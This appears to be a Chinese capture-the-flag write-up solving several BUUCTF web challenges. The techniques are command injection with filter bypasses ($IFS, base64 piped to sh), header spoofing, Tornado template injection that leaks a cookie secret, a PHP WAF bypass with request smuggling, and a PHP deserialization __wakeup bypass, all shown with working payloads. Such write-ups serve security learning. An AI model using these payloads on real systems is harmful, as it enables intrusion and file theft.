访问url:
http://cc3c6c27-e2df-4665-baba-1d9a32dc963e.node3.buuoj.cn/
首页如下:
直接ping ip可以得到结果
常见管道符
1、|(就是按位或),直接执行|后面的语句
127.0.0.1 | cat /flag
得到flag{546c33d7-aa0d-4a05-90b6-33adbd281b2b}
2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
abc || cat /flag
结果如下:
3、&(就是按位与),&前面和后面命令都要执行,无论前面真假
127.0.0.1 & cat /flag
结果如下:
4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
ping 127.0.0.1 && whoami
这里没试出来flag,用cmd试一下:
5、;(linux下有的,和&一样的作用)
127.0.0.1 ; cat /flag
结果如下:
访问url:
http://a98acfbb-1ead-49d9-92cf-1ee91c136948.node3.buuoj.cn/
首页如下:
打开链接,页面提示/?ip=
猜测本题的意思是让我们把这个当做变量上传参数。
先输入127.0.0.1
看来把我们上传的东西当做ip来执行ping操作。
构造payload:?ip=127.0.0.1;ls
出现了flag.php,那么简单的?
cat flag.php走起
?ip=127.0.0.1;cat flag.php
可以看到有过滤空格
过滤空格的解决办法如下
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
试试:?ip=127.0.0.1|cat$IFS$1flag.php
有过滤flag字样的,那先看看index.php,看看过滤规则。
?ip=127.0.0.1;cat$IFS$1index.php
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
解决办法
1)$a变量可以覆盖
构造?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
查看一下源码,看到flag{9c0ba8cc-cc60-43d2-8b87-e964e62fb538}
2)利用
?ip=127.0.0.1;cat$IFS$9`ls`
将ls的结果当成cat的参数,那样就不用出现flag这个参数了。
结果也是在源码中。
3)利用sh,bash下编码
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
4)利用内联执行:
?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php
访问url:
http://4b56ebf3-6873-4471-a9df-bc3fd9804168.node3.buuoj.cn/
首页如下:
给出的提示使用菜刀连接,密码为Syc
拿到flag{749bca20-c6f1-44b0-b941-7d4f062e8323}
或者在虚拟终端cat一下flag
访问url:
首页如下:
先查看源代码,找到Secret.php
找到Secret.php文件,进入相应的页面
提示我们需要修改header头,把https://www.Sycsecret.com写进去,复制一个头文件,添加关键的一行
Referer:https://www.Sycsecret.com
请求包如下:
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:25490
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://www.Sycsecret.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=c27a6db5-6635-4b96-9841-7e4d9fc76f0f.1itv3m9hNcEaFGPQCqcic-ppGHE
Connection: close
响应如下:
随后提示我们浏览器需要使用Syclover,向头里面添加一行,也就是修改一下User-Agent的内容
User-Agent:Syclover
请求包如下:
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:25490
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://www.Sycsecret.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=c27a6db5-6635-4b96-9841-7e4d9fc76f0f.1itv3m9hNcEaFGPQCqcic-ppGHE
Connection: close
响应如下:
发现到现在还是没有出来,它说我们只能在本地访问,那么意思就是要我们使用127.0.0.1来访问,那么我们来添加一行
X-Forwarded-For: 127.0.0.1
请求包如下:
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:25490
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://www.Sycsecret.com
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=c27a6db5-6635-4b96-9841-7e4d9fc76f0f.1itv3m9hNcEaFGPQCqcic-ppGHE
Connection: close
得到flag{cb30a0b2-0822-43a2-8964-b55bffa0afe6}
访问url:
http://27144826-6551-4fbe-8d5a-348db2ffd239.node3.buuoj.cn/
打开页面发现三个链接依次打开
发现各自的文本
flag in /fllllllllllllag
render
md5(cookie_secret+md5(filename))
从上面三个信息我们的值flag在/fllllllllllllag文件,render是模板注入,经过测试发现过滤了
payload:
http://27144826-6551-4fbe-8d5a-348db2ffd239.node3.buuoj.cn/error?msg={{1*2}}
如下:
render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用
Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。
然后就是这段代码md5(cookie_secret+md5(filename)) 我们根据之前打开文件的url参数分析这个就是filehash的值,想获得flag只要我们在url中传入/fllllllllllllag文件和filehash 经过这段代码处理的值即可关键就在cookie_secret,我们得想办法获得cookie_secret
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量
通过模板注入方式我们可以构造
payload:
http://27144826-6551-4fbe-8d5a-348db2ffd239.node3.buuoj.cn/error?msg={{handler.settings}}
成功拿到40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d
根据获得的cookie_secret构造md5(cookie_secret+md5(filename))这样的py或者手动cmd5去加密
python3版本
import hashlib hash = hashlib.md5() filename='/fllllllllllllag' cookie_secret="40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d" hash.update(filename.encode('utf-8')) s1=hash.hexdigest() hash = hashlib.md5() hash.update((cookie_secret+s1).encode('utf-8')) print(hash.hexdigest())
python2.7版本
#!-*-coding:utf-8 -*- import hashlib def md5(s): md5 = hashlib.md5() md5.update(s) print(md5.hexdigest()) return md5.hexdigest() def filehash(): filename = '/fllllllllllllag' cookie_secret = '40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d' print(cookie_secret + md5(filename)) print(md5(cookie_secret + md5(filename))) if __name__ == '__main__': filehash()
得到加密后的结果0e68f61488cca5aad0677cad0f8b8e8e
filename拼接我们的flag文件/fllllllllllllag将加密的结果拼接在filehash的后面得到最终payload:
得到flag{44570899-653f-48eb-be17-2f57febc0580}
访问url:
首页如下一个计算界面:
查看页面源代码
可以看见有个url提示
calc.php?num="+encodeURIComponent($("#content").val())
查看calc.php获取源码
http://node3.buuoj.cn:26897/calc.php
如下:
<?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); } ?>
$("#content").val() 是什么意思:
获取id为content的HTML标签元素的值,是JQuery, $("#content")相当于document.getElementById(“content”); $("#content").val()相当于 document.getElementById(“content”).value;
但是无论怎么注入都是400,403和500,这里用的是一个新的点:PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)当waf不让你过的时候,php却可以让你过
进行绕waf,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析,那么我们就可以利用这个特点绕过waf。
num被限制了,但在num前面加个空格,waf就管不着了,因为waf只是限制了num,waf并没有限制’ num’,当php解析的时候,又会把’ num’前面的空格去掉在解析,利用这点来上传非法字符
构造payload来查看目录,用chr转化成ascll码进行绕过
这题存在高危漏洞,提示我们传递函数,拿flag
先扫描根目录下的所有文件,利用scandir()函数列出 参数目录 中的文件和目录
也就是scandir("/"),但是“/”被过滤了,所以我们用chr(“47”)绕过
calc.php?%20num=1;var_dump(scandir(chr(47)))
漏洞证明:
发现flagg文件,然后去读取这个文件
calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
得到flag{cd181f15-8fca-45b2-9a03-1d881341575b}
另一种方法,HTTP走私攻击
hackbar用POST方式构造payload进行请求:
http://node3.buuoj.cn:26897/calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
num=phpinfo()
漏洞利用:
构造请求包如下:
POST /calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) HTTP/1.1
Host: node3.buuoj.cn:26897
Content-Length: 17
Content-Length: 17
Cache-Control: max-age=0
Origin: http://node3.buuoj.cn:26897
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://node3.buuoj.cn:26897/calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=c27a6db5-6635-4b96-9841-7e4d9fc76f0f.1itv3m9hNcEaFGPQCqcic-ppGHE
Connection: close
num=phpinfo%28%29
注意
得到flag:
访问url:
http://91af9009-330e-4d76-af66-be9057e8ad64.node3.buuoj.cn/
首页如下:
从题目名称上来看,是一道关于PHP的题目,然后首页又给出了提示,存在备份网站的习惯。
用御剑后台扫描工具进行扫描
访问url:
http://91af9009-330e-4d76-af66-be9057e8ad64.node3.buuoj.cn/www.zip
下载源文件
解压后包括以下文件:
index.php
flag.php
class.php
style.css
index.php
源码如下:
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>I have a cat!</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="style.css">
</head>
<style>
#login{
position: absolute;
top: 50%;
left:50%;
margin: -150px 0 0 -150px;
width: 300px;
height: 300px;
}
h4{
font-size: 2em;
margin: 0.67em 0;
}
</style>
<body>
<div id="world">
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
</div>
<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script src="index.js"></script>
</body>
</html
其中包含了一段php代码,如下:
<?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?>
包含了class.php文件,并且以get方式获取select参数,然后将select的值进行反序列化(这里应该要用到序列化与反序列化)。
class.php源码,如下:
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>
在这段代码的__destruct()方法中,发现了输出flag的代码,并且,执行条件是password==100,username===‘admin’。
接下来,就有考虑如何调用__destruct()方法了,这就用到了index.php中的反序列操作。
可以将序列化的Name对象作为select参数的值提交。当执行反序列化之后,又恢复成Name对象,并且,在Name对象销毁时,会自动调用__destruct()方法。
当时这里用个问题,就是在执行__destruct()方法之前,可能会先执行wakeup()方法,并且在wakeup()会修改username的值。
因此,这里应该绕过wakeup()方法,避免wakeup()执行。
这里存在一个CVE漏洞:当成员属性数目大于实际数目时可绕过wakeup方法
接下来可以开始构造php序列化对象,这里有两种方法:
(1)通过php脚本,将serialize($a)函数序列化的结果输出。脚本生成php序列化对象参考代码如下:
<?php class Name { private $username = 'admin'; private $password = '100'; } $a = new Name(); #进行url编码,防止%00对应的不可打印字符在复制时丢失 echo urlencode(serialize($a)); #未编码的情况 //O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";} //使用时将URL编码的结果中Name后面的2换成3或其他值 ?>
运行后结果:
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
payload:
得到flag{89b1bbec-caf4-40ef-9f7f-6aa54620c140}
(2)private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字
段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度
于是我们再构造一回pyload:
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
得到flag{89b1bbec-caf4-40ef-9f7f-6aa54620c140}
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。